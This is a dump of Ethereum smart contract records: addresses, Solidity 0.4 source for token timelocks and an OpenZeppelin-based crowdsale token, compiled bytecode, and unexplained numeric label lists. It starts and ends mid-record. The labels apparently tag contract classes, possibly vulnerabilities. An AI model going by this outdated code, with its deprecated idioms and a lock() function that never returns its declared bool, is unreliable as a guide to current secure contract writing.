} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806354fd4d501161006657806354fd4d50146101bc57806370a08231146101c457806395d89b41146101ea578063a9059cbb146101f2578063dd62ed3e1461021e5761009e565b806306fdde03146100a3578063095ea7b31461012057806318160ddd1461014e57806323b872dd14610168578063313ce5671461019e575b600080fd5b6100ab61024c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100e55781810151838201526020016100cd565b50505050905090810190601f1680156101125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61014c6004803603604081101561013657600080fd5b506001600160a01b0381351690602001356102d9565b005b61015661033b565b60408051918252519081900360200190f35b61014c6004803603606081101561017e57600080fd5b506001600160a01b03813581169160208101359091169060400135610341565b6101a66104a2565b6040805160ff9092168252519081900360200190f35b6100ab6104ab565b610156600480360360208110156101da57600080fd5b50356001600160a01b0316610506565b6100ab610521565b61014c6004803603604081101561020857600080fd5b506001600160a01b03813516906020013561057c565b6101566004803603604081101561023457600080fd5b506001600160a01b038135811691602001351661065c565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102d15780601f106102a6576101008083540402835291602001916102d1565b820191906000526020600020905b8154815290600101906020018083116102b457829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020859055805185815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35050565b60005481565b6001600160a01b038316600090815260056020526040902054811180159061038c57506001600160a01b03831660009081526006602090815260408083203384529091529020548111155b80156103985750600081115b6103a157600080fd5b6001600160a01b0382166000908152600560205260409020546103ca908263ffffffff61068816565b6001600160a01b0380841660009081526005602052604080822093909355908516815220546103ff908263ffffffff6106a116565b6001600160a01b038416600090815260056020908152604080832093909355600681528282203383529052205461043c908263ffffffff6106a116565b6001600160a01b03808516600081815260066020908152604080832033845282529182902094909455805185815290519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3505050565b60025460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102d15780601f106102a6576101008083540402835291602001916102d1565b6001600160a01b031660009081526005602052604090205490565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102d15780601f106102a6576101008083540402835291602001916102d1565b60403660441461058857fe5b3360009081526005602052604090205482118015906105a75750600082115b6105b057600080fd5b336000908152600560205260409020546105d0908363ffffffff6106a116565b33600090815260056020526040808220929092556001600160a01b03851681522054610602908363ffffffff61068816565b6001600160a01b0384166000818152600560209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3505050565b6001600160a01b0380821660009081526006602090815260408083209386168352929052205492915050565b60008282018381101561069a57600080fd5b9392505050565b6000828211156106b057600080fd5b5090039056fea265627a7a72315820cd9bf2842241f277287d7d98b96b30a42e4a82ccff586c48543314a14e17fcb264736f6c63430005110032 | [
17
] |
0xf342afde618f3c155d1d6bc52f382c514da3914e | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29721600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xed62FBB9d6E15EcA1F1374457588585d22d17144;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820bb1ee0775e7fafba10bf8f5bf2a3650e0bd15f3de08d824dcace1df517310d350029 | [
16,
7
] |
0xf343115570895286cb968a07a8840c465bce7525 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x3Ea0Cc8F97b42E39aE55b2ADfCBaF33C0f0A21ed;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820abf86a72c2bc9b474f1f1f2082b0d62e704b3da106a8bf143be87b451e88bf790029 | [
16,
7
] |
0xf3434f37ee2b6c08dde54fd346002be037dc2a82 | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------
// Based on code by OpenZeppelin
// ----------------------------------------------------------------------
// Copyright (c) 2016 Smart Contract Solutions, Inc.
// Released under the MIT license
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/LICENSE
// ----------------------------------------------------------------------
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract TkoToken is MintableToken, BurnableToken, PausableToken {
string public constant name = 'TkoToken';
string public constant symbol = 'TKO';
uint public constant decimals = 18;
}
/// @title Whitelist for TKO token sale.
/// @author Takeoff Technology OU - <info@takeoff.ws>
/// @dev Based on code by OpenZeppelin's WhitelistedCrowdsale.sol
contract TkoWhitelist is Ownable{
using SafeMath for uint256;
// Manage whitelist account address.
